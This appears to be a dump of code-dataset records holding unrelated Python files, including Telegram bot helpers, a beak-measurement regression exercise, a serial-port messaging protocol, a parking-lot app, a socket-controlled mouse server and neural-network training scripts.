status):\r\n # self.label_status.setText(status)\r\n\r\n\r\nif __name__=='__main__':\r\n app = QApplication(sys.argv)\r\n example = UTILITY_GUI_HANDLER(app)\r\n","sub_path":"qthread.py","file_name":"qthread.py","file_ext":"py","file_size_in_byte":7615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"424931269","text":"import requests\nimport logging\nimport time\nimport pytz\nimport datetime\nfrom tzlocal import get_localzone\n\n\ndef is_valid(url):\n logging.info(\"Check url: {}\".format(url))\n start = time.time()\n request = requests.get(url)\n if request.status_code != 200:\n logging.error(\"... url is invalid and will be skipped! Status code {}\".format(request.status_code))\n return False\n logging.info(\"... success [{:.4f}ms]\".format(time.time() - start))\n return True\n\n\ndef bot_send_photo(bot, chat_id, string):\n logging.info(\"Sending photo to chat ...\")\n bot.send_photo(\n chat_id=chat_id,\n photo=string,\n disable_notification=True)\n \n \ndef bot_send_document(bot, chat_id, string):\n logging.info(\"Sending Document / GIF to chat ...\")\n from telegram import Document\n bot.send_document(\n chat_id=chat_id,\n document=Document(string),\n disable_notification=True)\n \n \ndef bot_send_text(bot, chat_id, msg):\n logging.info(\"Sending Text msg to chat ...\")\n bot.send_message(\n chat_id=chat_id,\n text=msg,\n disable_notification=True) # silent msg\n\n\ndef get_midnight_time_of_timezone(time_zone='Europe/Berlin'):\n today = datetime.date.today()\n zone = get_localzone().zone\n midnight = datetime.datetime.combine(today, datetime.datetime.min.time())\n pytz_timezone = pytz.timezone(time_zone)\n midnight_europe = pytz_timezone.localize(midnight)\n midnight_europe_as_timezone = midnight_europe.astimezone(pytz.timezone(zone))\n logging.info(\"Daily Runtime {}: {}\".format(zone, midnight_europe_as_timezone))\n return midnight_europe_as_timezone.time()\n\n\ndef get_current_datetime_of_timezone(time_zone='Europe/Berlin'):\n pytz_timezone = pytz.timezone(time_zone)\n return datetime.datetime.now(pytz_timezone)\n","sub_path":"core/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651982700","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport scipy.optimize\nimport seaborn as sns\nimport bootcamp_utils\nrc={'lines.linewidth': 2, 'axes.labelsize': 18, 'axes.titlesize': 18}\nsns.set(rc=rc)\n\n\n# Exercise 5.3: Beak depth and lengths\n# Load the tidy data from Exercise 4\ngrant_data = pd.read_csv('data/my_grant_complete.csv', comment='#')\n\n# Linear model to perfom regression on\ndef beak_model(depth, m, d0):\n \"\"\"Linear model for beak length as a function of depth.\"\"\"\n return d0 + m * depth\n\n# Get the beak depths and lengths of fortis and scandens in every year\nbeaks = []\nbeaks_model = []\nyears = [1973, 1975, 1987, 1991, 2012]\n\n# Initial Guess\nm = 1.0\ndepth0 = 0.0\nguess = np.array([m, depth0])\n\n# Iterate through getting the beak depth and length and perfoming regression\nfor _, yr in enumerate(years):\n # Get the depth and length for each year\n fortis = grant_data.loc[(grant_data['year']==yr) &\n (grant_data['species']=='fortis'),\n ['beak depth (mm)', 'beak length (mm)']]\n scandens = grant_data.loc[(grant_data['year']==yr) &\n (grant_data['species']=='scandens'),\n ['beak depth (mm)', 'beak length (mm)']]\n beaks.append((fortis, scandens))\n\n # Get the regression statistics\n p_f, _ = scipy.optimize.curve_fit(beak_model, fortis['beak depth (mm)'],\n fortis['beak length (mm)'], p0=guess)\n p_s, _ = scipy.optimize.curve_fit(beak_model, scandens['beak depth (mm)'],\n scandens['beak length (mm)'], p0=guess)\n beaks_model.append((p_f, p_s))\n\n# # Unpack the beak stuff\n# fortis_beak_73, scandens_beak_73 = beaks[0]\n# fortis_beak_75, scandens_beak_75 = beaks[1]\n# fortis_beak_87, scandens_beak_87 = beaks[2]\n# fortis_beak_91, scandens_beak_91 = beaks[3]\n# fortis_beak_12, scandens_beak_12 = beaks[4]\n# p_f_73, p_s_73 = beaks_model[0]\n# p_f_75, p_s_75 = beaks_model[1]\n# p_f_87, p_s_87 = beaks_model[2]\n# p_f_91, p_s_91 = beaks_model[3]\n# p_f_12, p_s_12 = beaks_model[4]\n\n# Plot all of the depth vs length for all years\nshow_plot = False\nfor i, _ in enumerate(beaks):\n # Unpack the beak data\n fortis, scandens = beaks[i]\n p_f, p_s = beaks_model[i]\n\n # Get the bound for the regressions\n depth = np.linspace(7, 13, 100)\n length_f = beak_model(depth, *tuple(p_f))\n length_s = beak_model(depth, *tuple(p_s))\n\n # Plot the data and regressions on the same plot\n plt.plot(fortis['beak depth (mm)'], fortis['beak length (mm)'], 'b.')\n plt.plot(scandens['beak depth (mm)'], scandens['beak length (mm)'], 'r.')\n plt.plot(depth, length_f, 'b-')\n plt.plot(depth, length_s, 'r-')\n plt.xlabel('beak depth (mm)')\n plt.ylabel('beak length (mm)')\n plt.legend(('Geospiza fortis', 'Geospiza scandens'), loc='lower right')\n plt.title('Beak Data ' + str(years[i]))\n if show_plot:\n plt.show()\n plt.figure()\n\n # Print the results\n print(\"\"\"In {0:d}:\n Scandens: m = {1:.2f}, d0 = {2:.2f}\n Fortis: m = {3:.2f}, d0 = {4:.2f}\"\"\".format(years[i], p_s[0], p_s[1],\n p_f[0], p_f[1]))\n","sub_path":"Exercise_5.py","file_name":"Exercise_5.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468822078","text":"from django.db import models\nfrom api.mentor.models import Mentor\n\n\n# Create your models here.\nclass School(models.Model):\n class Meta:\n ordering = ['-id']\n name = models.CharField(max_length=40, null=False)\n profile_picture_url = models.CharField(max_length=100, null=True)\n page_description = models.TextField(blank=True) # for showing on the school page\n director = models.ForeignKey(\n Mentor, related_name=\"schools_directed\", on_delete=models.SET_NULL, null=True)\n mentors = models.ManyToManyField(Mentor, related_name=\"schools_mentored\")\n\n def __str__(self):\n return \"{} - {}\".format(self.id, self.name)\n","sub_path":"backend/api/school/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644086626","text":"# Один исходный символ - один закодированный символ.\nimport datetime\nimport uuid\n\nfrom physical_layer.connection import Connection\nfrom transport_layer import repeated_timer\n\n\nclass LogicalConnection:\n @staticmethod\n def reserved_names():\n return ['все', 'all_connect', 'notify_disconnect']\n\n @staticmethod\n def system_names():\n return ['all_connect', 'notify_disconnect']\n\n @staticmethod\n def all_id():\n return '11111111-1111-1111-1111-111111111111'\n\n @staticmethod\n def all_connect_id():\n return '22222222-2222-2222-2222-222222222222'\n\n @staticmethod\n def division_polynomial():\n return 0b10011\n\n @staticmethod\n def max_count_of_try():\n return 3\n\n @staticmethod\n def timeout_sec():\n return 9\n\n @staticmethod\n def t():\n return str(datetime.datetime.now()) + ' '\n\n @staticmethod\n def division(rest):\n divider = LogicalConnection.division_polynomial()\n while int.bit_length(rest) >= int.bit_length(divider):\n sub = divider\n while not (int.bit_length(rest) == int.bit_length(sub)):\n sub <<= 1\n rest ^= sub\n return rest\n\n @staticmethod\n def validate(info_in_message):\n return type(info_in_message) == list \\\n and len(info_in_message) == 4 \\\n and info_in_message[0] != '' \\\n and info_in_message[1] != '' \\\n and (info_in_message[2]).isdigit() \\\n and info_in_message[3] != ''\n\n # Обертка сообщения.\n @staticmethod\n def wrap(recipient, msg, sender, counter):\n return sender + '\\0' + recipient + '\\0' + str(counter) + '\\0' + msg\n\n # Циклическое кодирование.\n @staticmethod\n def make_cyclic_code(vector):\n return (vector << 4) ^ LogicalConnection.division(vector << 4)\n\n # Проверка на наличие ошибки (остаток от деления).\n @staticmethod\n def find_error(rest):\n guess_error = 0b1 # Предполагаемая ошибка.\n rest_error = 0\n while rest_error != rest:\n rest_error = LogicalConnection.division(guess_error)\n guess_error <<= 1\n return guess_error >> 1\n\n def __init__(self):\n self.debug = True\n self.id = str(uuid.uuid4())\n self.username = None\n # Колбек для получения сообщения.\n # Два аргумента: отправитель и сообщение\n self.on_received = None\n # Колбек для получения массового сообщения.\n # Два аргумента: отправитель и сообщение\n self.on_broadcast_received = None\n # Колбек для уведомление об установлении соединения\n # Без аргументов\n self.on_connection_established = None\n # Колбек для получения списка пользователей\n # Аргумент - словарь id - nickname\n self.update_users = None\n # Колбек для сообщения о таймауте\n # Без аргументов\n self.on_timed_out = None\n # Колбек для сообщения о разрыве соединения\n # Аргументом имя разорвавшего\n self.on_disconnect = None\n # Колбек для события ошибки на физическом уровне\n # Без аргументов\n self.on_wire_corrupted = None\n # Колбек для случая, когда направленное сообщение пришло двоим\n # иначе говоря, в системе имеется конфликт имен\n # Аргументы: сообщение и конфликтное имя\n self.on_conflict = None\n # Колбек для случая, когда направленное сообщение не дошло до адресата\n # Аргументы: сообщение и имя\n self.recipient_not_found = None\n # Колбек для случая, когда широковещательное дошло не до всех\n # Аргументы: сообщение\n self.broadcast_failed = None\n # Физические соединения\n self.input_connection = None\n self.output_connection = None\n # Поддержка логического соединения.\n self.logical_connect_send = None\n self.logical_connect_receive = None\n self.count_of_try_connect = None\n self.is_connect = None\n self.last_time = None\n self.idle = None\n # ------------------------------\n\n def connect(self,\n username, # пользователь\n inport_name, # имя входного порта\n inport_baudrate, # входная скорость передачи данных\n outport_name, # имя выходного порта\n outport_baudrate): # входная скорость передачи данных\n self.username = username\n # Физические подключения\n self.input_connection = Connection()\n self.input_connection.on_received = lambda msg: self.receive(msg)\n self.input_connection.on_exception = lambda: self.on_wire_corrupted()\n self.input_connection.connect(inport_name, baudrate=inport_baudrate)\n self.output_connection = Connection()\n self.output_connection.on_exception = lambda: self.on_wire_corrupted()\n self.output_connection.connect(outport_name, baudrate=outport_baudrate)\n\n # Поддержка логического соединения.\n self.logical_connect_receive = \\\n repeated_timer.RepeatedTimer(3, self.support_logical_connection)\n self.count_of_try_connect = 0\n self.last_time = None\n self.idle = False\n\n def disconnect(self):\n self.is_connect = False\n self.idle = True\n if self.logical_connect_send is not None:\n self.logical_connect_send.stop()\n if self.logical_connect_receive is not None:\n self.logical_connect_receive.stop()\n if self.input_connection.is_connected():\n self.input_connection.disconnect()\n if self.output_connection.is_connected():\n self.output_connection.disconnect()\n\n def notify_disconnect(self):\n self.send('notify_disconnect', '_')\n\n def update_users_table(self, raw_users, check_conflict):\n parsed_users = dict(item.split(':') for item in raw_users.split(','))\n if check_conflict:\n cnt = 0\n for user_id, name in parsed_users.items():\n if name == self.username:\n cnt += 1\n if cnt > 1:\n self.on_conflict(self.username)\n return False\n self.update_users(parsed_users)\n return True\n\n # Поддержка логического соединения.\n def support_logical_connection(self):\n if self.idle:\n self.last_time = None\n return\n self.send(LogicalConnection.all_connect_id(), self.id + ':' + self.username)\n if self.last_time is not None\\\n and (datetime.datetime.utcnow() - self.last_time).total_seconds() > LogicalConnection.timeout_sec():\n self.on_timed_out()\n\n # Отправка сообщения.\n def send(self, recipient, message, **kwargs):\n # Обертка сообщения.\n message = LogicalConnection.wrap(recipient,\n message,\n kwargs.get('sender', self.id),\n kwargs.get('counter', 0))\n encoded_message = '' # Закодированное сообщение.\n\n if recipient != LogicalConnection.all_connect_id() or self.debug:\n print(LogicalConnection.t() + ' Отправка сообщения: ' + str(message.split('\\0')))\n\n # Кодирование каждого символа циклическим кодом [11,15]\n for i in message:\n encoded_message += chr(LogicalConnection.make_cyclic_code(ord(i)))\n self.output_connection.write(encoded_message.encode('utf-8'))\n\n # Прием сообщения.\n def receive(self, message):\n # Если соединение в режиме ожидания, то не заморачиваемся и пересылаем дальше\n if self.idle:\n self.output_connection.write(message)\n return\n\n message = message.decode('utf-8')\n decoded_message = '' # Раскодированное сообщение.\n for i in message:\n rest = LogicalConnection.division(ord(i)) # Проверка на ошибку.\n if rest != 0:\n i = chr(ord(i) ^ self.find_error(rest)) # Попытка исправления ошибки.\n decoded_message += chr(ord(i) >> 4)\n self.parse_message(decoded_message)\n\n # Интерпретация сообщения.\n def parse_message(self, message): # 0-отправитель, 1-получатель, 2-счетчик, 3-текст\n info_in_message = message.split('\\0')\n\n if LogicalConnection.validate(info_in_message):\n\n if info_in_message[1] != LogicalConnection.all_connect_id() or self.debug:\n print(LogicalConnection.t() + ' Принято сообщение: ' + str(info_in_message))\n\n # Если сообщение адресовано нам.\n if info_in_message[1] == self.id and info_in_message[0] != self.id:\n self.on_received(info_in_message[0], info_in_message[3])\n info_in_message[2] = int(info_in_message[2]) + 1\n if info_in_message[1] == LogicalConnection.all_id() and info_in_message[0] != self.id:\n self.on_broadcast_received(info_in_message[0], info_in_message[3])\n info_in_message[2] = int(info_in_message[2]) + 1\n\n # Если мы отправители.\n if info_in_message[0] == self.id:\n if info_in_message[1] == LogicalConnection.all_connect_id():\n # Проверяем на конфликт. Если он есть, не соединяем\n if not self.idle and self.update_users_table(info_in_message[3], not self.last_time):\n if not self.last_time:\n self.on_connection_established()\n self.last_time = datetime.datetime.utcnow()\n elif info_in_message[1] == LogicalConnection.all_id(): # Если послали всем.\n if int(info_in_message[2]) < 2: # Если приняли не все.\n self.broadcast_failed(info_in_message[3])\n else: # Если отправляли направленно.\n if info_in_message[2] == '0' and info_in_message[1] != self.id: # Если адресат не принял\n self.recipient_not_found(info_in_message[3], info_in_message[1])\n else:\n # Сообщаем о себе\n if info_in_message[1] == LogicalConnection.all_connect_id():\n info_in_message[3] += ',' + self.id + ':' + self.username\n # Отпраляем дальше\n self.send(info_in_message[1], info_in_message[3],\n sender=info_in_message[0], counter=info_in_message[2])\n\n if info_in_message[1] == 'notify_disconnect':\n self.on_disconnect(info_in_message[0])\n\n else: # Если сообщение невалидно\n pass\n\n\n","sub_path":"transport_layer/LogicalConnection.py","file_name":"LogicalConnection.py","file_ext":"py","file_size_in_byte":12180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"254986512","text":"import tensorflow as tf\nfrom tensorflow.keras import optimizers, datasets, layers, Sequential, metrics\n\n\ndef preprocess(x, y):\n x = tf.cast(x, dtype=tf.float32)/255.0\n y = tf.cast(y, dtype=tf.int32)\n return x, y\n\n\n(x,y), (x_test, y_test) = datasets.mnist.load_data()\n\nbatchsz = 128\ndb = tf.data.Dataset.from_tensor_slices((x, y))\ndb = db.map(preprocess).shuffle(60000).batch(batchsz)\n\ndb_test = tf.data.Dataset.from_tensor_slices((x_test, y_test)).map(preprocess).batch(batchsz)\n\nnetwork = Sequential([layers.Dense(256, activation=tf.nn.relu),\n layers.Dense(128, activation=tf.nn.relu),\n layers.Dense(64, activation=tf.nn.relu),\n layers.Dense(32, activation=tf.nn.relu),\n layers.Dense(10)])\nnetwork.build(input_shape=[None, 28*28])\nnetwork.summary()\n\noptimizer = optimizers.Adam(learning_rate=1e-2)\nacc_metrics = metrics.Accuracy()\nloss_metrics = metrics.Mean()\n\nfor step, (x, y) in enumerate(db):\n with tf.GradientTape() as tape:\n x = tf.reshape(x, [-1, 28*28])\n out = network(x)\n y_onehot = tf.one_hot(y, depth=10)\n pred = tf.nn.softmax(out)\n loss = tf.reduce_mean(tf.losses.categorical_crossentropy(y_onehot, pred))\n loss_metrics.update_state(loss)\n grads = tape.gradient(loss, network.trainable_variables)\n optimizer.apply_gradients(zip(grads, network.trainable_variables))\n if step % 100 == 0:\n print(step, \"loss:\", loss) # 第100步的结果\n # 计算100步的平均值？\n print(step, \"loss:\", loss_metrics.result())\n loss_metrics.reset_states()\n if step % 300 == 0:\n total, total_correct = 0, 0\n acc_metrics.reset_states()\n for step, (x, y) in enumerate(db_test):\n x = tf.reshape(x, [-1, 28*28])\n out = network(x)\n pred = tf.nn.softmax(out)\n pred = tf.argmax(pred, axis=1)\n pred = tf.cast(pred, dtype=tf.int32)\n result = tf.cast(tf.equal(pred, y), dtype=tf.int32)\n total_correct += tf.reduce_sum(result)\n total += result.shape[0]\n # acc_metrics.reset_states()\n acc_metrics.update_state(y, pred) # 第0步和第300步准确度的平均值\n print(step, \"Evaluate Acc:\", total_correct/total, acc_metrics.result().numpy())\n\n","sub_path":"HighRiseAPI/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"544069246","text":"import torch\nimport torch.nn as nn\nimport torch.nn.modules.conv\nimport torch.utils.data\n\n\ndef binarize_model(model: nn.Module, drop_layers=(nn.ReLU, nn.PReLU), keep_data=True) -> nn.Module:\n \"\"\"\n :param model: net model\n :param drop_layers: remove these layers from the input model\n :param keep_data: keep original parameters data (True)\n or re-sample (False) as two Gaussian peaks near 0.5 and -0.5\n :return: model with linear and conv layers wrapped in BinaryDecorator\n \"\"\"\n if isinstance(model, BinaryDecorator):\n print(\"Layer is already binarized.\")\n return model\n for name, child in list(model.named_children()):\n if isinstance(child, drop_layers):\n delattr(model, name)\n continue\n child_new = binarize_model(model=child, drop_layers=drop_layers, keep_data=keep_data)\n if child_new is not child:\n setattr(model, name, child_new)\n if isinstance(model, (nn.modules.conv._ConvNd, nn.Linear)):\n if hasattr(model, 'bias'):\n delattr(model, 'bias')\n model.register_parameter(name='bias', param=None)\n model = BinaryDecorator(model, as_two_peaks=not keep_data)\n return model\n\n\ndef compile_inference(model: nn.Module):\n for name, child in list(model.named_children()):\n compile_inference(child)\n if isinstance(model, BinaryDecorator):\n model.compile_inference()\n\n\nclass BinaryFunc(torch.autograd.Function):\n\n @staticmethod\n def forward(ctx, tensor):\n ctx.save_for_backward(tensor)\n tensor = tensor > 0\n tensor = 2 * tensor.type(torch.FloatTensor) - 1\n return tensor\n\n @staticmethod\n def backward(ctx, grad_output):\n input, = ctx.saved_tensors\n grad_output[input.ge(1)] = 0\n grad_output[input.le(-1)] = 0\n return grad_output\n\n\nclass BinaryDecorator(nn.Module):\n def __init__(self, layer: nn.Module, as_two_peaks=False):\n super().__init__()\n for param in layer.parameters():\n if as_two_peaks:\n data_peaks = 0.5 + 0.1 * torch.randn(param.data.shape)\n data_peaks[torch.rand(data_peaks.shape) > 0.5] *= -1\n if param.data.is_cuda:\n data_peaks = data_peaks.cuda()\n param.data = data_peaks\n param.is_binary = True\n self.layer = layer\n self.is_inference = False\n\n def compile_inference(self):\n for param in self.layer.parameters():\n param.data.sign_()\n self.is_inference = True\n\n def forward(self, x):\n x = BinaryFunc.apply(x)\n if self.is_inference:\n x = self.layer(x)\n else:\n weight_full = self.layer.weight.data.clone()\n self.layer.weight.data.sign_()\n x = self.layer(x)\n self.layer.weight.data = weight_full\n return x\n\n def __repr__(self):\n tag = \"[Binary]\"\n if self.is_inference:\n tag += '[Compiled]'\n return tag + repr(self.layer)\n\n\nclass ScaleLayer(nn.Module):\n\n def __init__(self, size: int, init_value=1e-3):\n super().__init__()\n self.scale = nn.Parameter(torch.FloatTensor(size).fill_(init_value))\n\n def forward(self, x):\n return self.scale * x\n\n def __repr__(self):\n return self.__class__.__name__ + f\"(size={self.scale.numel()})\"\n","sub_path":"layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620078672","text":"import time, random, string, os, time\r\nimport data_structures as dt\r\n\r\n\r\nclass Carro:\r\n def __init__ (self, placa):\r\n self.placa = placa\r\n self.enParqueo = False\r\n self.esp = None\r\n\r\nclass Persona:\r\n def __init__ (self, ced, nickname, password, nombre, apellido, edad, email=None, direccion=None, tel=None):\r\n self.ced = ced\r\n self.nickname = nickname\r\n self.password = password\r\n self.nombre = nombre\r\n self.apellido = apellido\r\n self.edad = edad\r\n self.email = email\r\n self.direccion = direccion\r\n self.tel = tel\r\n\r\nclass Usuario(Persona):\r\n def __init__(self, ced, nickname, password, nombre, apellido, edad, placa, puntos, email, direccion, tel, index):\r\n self.carro = Carro(placa)\r\n super().__init__(ced, nickname, password, nombre, apellido, edad, email, direccion, tel)\r\n self.puntos = int(puntos)\r\n self.index = index\r\n\r\nclass Espacio:\r\n def __init__ (self,cod,tiempoI,carro = None,libre = True):\r\n self.cod = cod\r\n self.tiempoInicio = tiempoI\r\n self.libre = libre\r\n self.carro = carro\r\n\r\nclass Empleado:\r\n def __init__(self,nickname,password,nombre):\r\n self.nickname = nickname\r\n self.password = password\r\n self.nombre = nombre\r\n\r\nclass EasyParking:\r\n def __init__(self):\r\n self.usuariosRoute = \"usuarios.ep\"\r\n self.parqueaderosRoute = \"parqueaderos\"\r\n self.empleadosRoute = \"empleados.ep\"\r\n\r\n self.usuarios = dt.HashMap(1000)\r\n self.puntos = dt.BinaryDataHeap(1000)\r\n self.nicknames = dt.StringHashMap(1000,15)\r\n self.placas = dt.StringHashMap(1000,10)\r\n self.addUsuarios()\r\n\r\n self.parqueaderos = []\r\n self.addParqueaderos()\r\n\r\n self.empleados = dt.StringHashMap(1000,15)\r\n self.addEmpleados()\r\n\r\n def addParqueaderos(self):\r\n n = len(os.listdir(self.parqueaderosRoute))\r\n p=0\r\n while p 1: f.write('\\n')\r\n f.writelines(line)\r\n\r\n return 3\r\n \r\n def checkLoginEmpleado(self,nickname,password):\r\n e = self.empleados.get(nickname)\r\n if e is None: return \"-2\"\r\n elif e.password == password: return e\r\n return \"-1\"\r\n\r\n def checkInfoEmpleado(self,info):\r\n if self.empleados.get(int(info[0])) is not None: return 0\r\n elif self.empNicknames.get(info[1]): return 1\r\n return 3\r\n\r\n def buscarUsuario(self,ced):\r\n return self.usuarios.get(ced)\r\n \r\n def updateFile(self,ced):\r\n u = self.usuarios.get(ced)\r\n\r\n if u is None: return\r\n\r\n info = [u.ced,u.nickname,u.password,u.nombre,u.apellido,u.edad,u.carro.placa,str(u.puntos),\"\",\"\",\"\"]\r\n if u.email is not None: info[8] = u.email\r\n if u.direccion is not None: info[9] = u.direccion\r\n if u.tel is not None: info[10] = u.tel\r\n\r\n line = '*'.join(info)+'\\n'\r\n\r\n with open(self.usuariosRoute,\"r\") as f:\r\n data = f.readlines()\r\n\r\n data[u.index] = line\r\n\r\n with open(self.usuariosRoute,\"w\") as f:\r\n f.writelines(''.join(data))\r\n \r\n def vaciarParqueadero(self,inP):\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"r\") as f:\r\n data = f.readlines()[2:]\r\n\r\n for l in data:\r\n ced = int(l.split(\"*\")[1])\r\n self.usuarios.get(ced).carro.enParqueo = False\r\n self.usuarios.get(ced).carro.esp = None\r\n\r\n p = self.parqueaderos[inP]\r\n p.espaciosTree.makeEmpty()\r\n p.espacios = [None]*p.totales\r\n p.ocupados = 0\r\n data = [p.nombre,p.cod,p.direccion,p.tel,p.gerente,str(p.totales),str(p.ocupados)]\r\n data = \"*\".join(data) + \"\\n\"\r\n data += \"0\"*p.totales + \"\\n\"\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"w\") as f:\r\n f.write(data)\r\n\r\n def restaurarParqueadero(self,inP):\r\n self.parqueaderos[inP].totales = 50\r\n self.vaciarParqueadero(inP)\r\n\r\n\r\nclass Parqueadero:\r\n\r\n def __init__(self,nombre,cod,direccion,tel,gerente,totales,ocupados):\r\n self.espaciosTree = dt.AvlTree()\r\n self.espacios = [None]*totales\r\n self.totales = totales\r\n self.ocupados = ocupados\r\n\r\n self.nombre = nombre\r\n self.cod = cod\r\n self.direccion = direccion\r\n self.tel = tel\r\n self.gerente = gerente\r\n\r\n self.parqueaderosRoute = \"parqueaderos\"\r\n\r\n def parqueo(self,user,inP,e,verified):\r\n if user is not None and user.carro is not None and not user.carro.enParqueo:\r\n self.espacios[e] = Espacio(e,int(time.time()), user.carro,False)\r\n self.espaciosTree.root = self.espaciosTree.insert(e,self.espaciosTree.root)\r\n user.carro.enParqueo = True\r\n user.carro.esp = (self.cod,inP,e)\r\n if not verified:\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"r\") as f:\r\n data = f.readlines()\r\n data[1]=data[1][0:e]+\"1\"+data[1][e+1:]\r\n #data.append(str(int(time.time()))+\"*\"+user.ced+\"\\n\")\r\n data.insert(data[1].count(\"1\",0,e)+2,str(int(time.time()))+\"*\"+user.ced+\"\\n\")\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"w\") as f: \r\n f.write(\"\".join(data))\r\n\r\n self.ocupados += 1\r\n\r\n return True\r\n\r\n return False\r\n\r\n def desparqueo(self,user,inP):\r\n if user is not None and user.carro is not None and user.carro.enParqueo:\r\n inE = user.carro.esp[2]\r\n self.espacios[inE] = None\r\n self.espaciosTree.remove(inE,self.espaciosTree.root)\r\n user.carro.enParqueo = False\r\n user.carro.esp = None\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"r\") as f:\r\n data = f.readlines()\r\n \r\n data[1]=data[1][0:inE]+\"0\"+data[1][inE+1:]\r\n data.pop(data[1].count(\"1\",0,inE)+2)\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"w\") as f:\r\n f.write(\"\".join(data)) \r\n\r\n self.ocupados -= 1 \r\n\r\n def agregarEspacios(self,inP):\r\n self.espacios = self.espacios + [None]*10\r\n self.totales+=10\r\n\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"r\") as f:\r\n data = f.readlines()\r\n \r\n data[1] = data[1].rstrip('\\n')+\"0\"*10+'\\n'\r\n\r\n with open(self.parqueaderosRoute+\"/p\"+str(inP),\"w\") as f:\r\n f.write(''.join(data))\r\n\r\n\r\ndef main():\r\n ep = EasyParking()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n \r\n","sub_path":"EasyParking.py","file_name":"EasyParking.py","file_ext":"py","file_size_in_byte":12960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419827223","text":"class Solution(object):\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n rows = len(grid)\n cols= len(grid[0])\n queue = []\n neighbors = [(0,1),(1,0),(0,-1),(-1,0)]\n visited = [[False for col in range(cols) ] for row in range(rows) ]\n #print(visited)\n islands = 0\n\n for i in range(rows):\n for j in range(cols):\n if grid[i][j] == 1 and not visited[i][j]:\n queue.append((i,j))\n islands += 1\n\n while len(queue) > 0:\n current_i, current_j = queue.pop(0)\n\n if self.isValid(current_i, current_j, grid) and not visited[current_i][current_j]:\n visited[current_i][current_j] = True\n\n for neighbour_i, neighbour_j in neighbors:\n queue.append((current_i + neighbour_i, current_j + neighbour_j))\n\n\n return islands\n\n def isValid(self, row ,col, grid):\n\n if row < 0 or row >= len(grid) or col < 0 or col >= len(grid[0]) or grid[row][col] == 0:\n return False\n return True\n\nsol = Solution()\nprint(sol.numIslands([\n [1,1,0,0,0],\n [1,1,0,0,0],\n [0,0,1,0,0],\n [0,0,0,1,1]\n]))","sub_path":"leetcode/islands.py","file_name":"islands.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"520063453","text":"#Including Libraries\nimport socket\nimport mouse\nimport threading\n\n# Declaring global variables\ndata=b'0' #For reading data and using in functions \npresscheck=False #An easy alternate of stoping thread\n\n\nhostname = socket.gethostname() # Getting the hostname by socket.gethostname() method\nHOST = socket.gethostbyname(hostname) # Getting the IP address using socket.gethostbyname() method\nPORT = 50000 # Assigning a free port number for the connection\n\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Creating a TCP connection socket\ns.bind((HOST, PORT)) #Assigning our socket IP & Port number\ns.listen()\n\n#Functions for doing different tasks\ndef close():\n global presscheck\n presscheck=False\n\n\ndef left():\n global presscheck\n presscheck=True\n while True:\n mouse.move(-5, 0, absolute=False, duration=0.01)\n if presscheck==False:\n break\n\ndef right():\n global presscheck\n presscheck=True\n while True:\n mouse.move(5, 0, absolute=False, duration=0.01)\n if presscheck==False:\n break\n\ndef up():\n global presscheck\n presscheck=True\n while True:\n mouse.move(0, -5, absolute=False, duration=0.01)\n if presscheck==False:\n break\n\ndef down():\n global presscheck\n presscheck=True\n while True:\n mouse.move(0, 5, absolute=False, duration=0.01)\n if presscheck==False:\n break\n\ndef left_click():\n global presscheck\n presscheck=False\n mouse.click('left')\n\ndef right_click():\n global presscheck\n presscheck=False\n mouse.click('right')\n\ndef no_recognition():\n\n print(\"Invalid Instruction Command\")\n\n#This function reads global variable data which is being recieved as a instruction \n#from the client request and calls appropiate function\ndef commandline(): \n switcher = { \n b'close': close, \n b'left': left,\n b'right': right,\n b'up': up,\n b'down': down,\n b'left_click': left_click,\n b'right_click': right_click,\n } \n global data\n func=switcher.get(data,no_recognition)\n return func()\n\ndef server_mouse():\n close_command=b'close' #close command\n last_command='' \n global data\n global presscheck\n #Waiting for commands and assigining work\n while True:\n conn, addr = s.accept()\n with conn:\n print('Connected by', addr)\n while True:\n data = conn.recv(1024)\n if data:\n if presscheck==True:\n presscheck=False\n else:\n th = threading.Thread(target=commandline)\n th.start()\n last_command=data\n\n if not data:\n conn.close()\n break\n #conn.sendall(data)\n if last_command ==close_command:\n break\n\n# Main code\nprint(\"Server started!\")\nprint(\"Host name: \",hostname)\nprint(\"Host ip : \",HOST)\nthread = threading.Thread(target=server_mouse)\nthread.start()\n","sub_path":"pycontrol/pycontrol/pycontrol.py","file_name":"pycontrol.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205810137","text":"import requests\nimport json\nimport urllib.parse\n\nmain_user_id = 'MAIN_USER_ID'\nsession_id = 'SESSION_ID'\n\nmy_headers = {\n 'X-IG-App-ID': '936619743392459',\n 'Cookie': 'sessionid=' + session_id\n}\ncount = 0\n\n\ndef list_friendships(id, 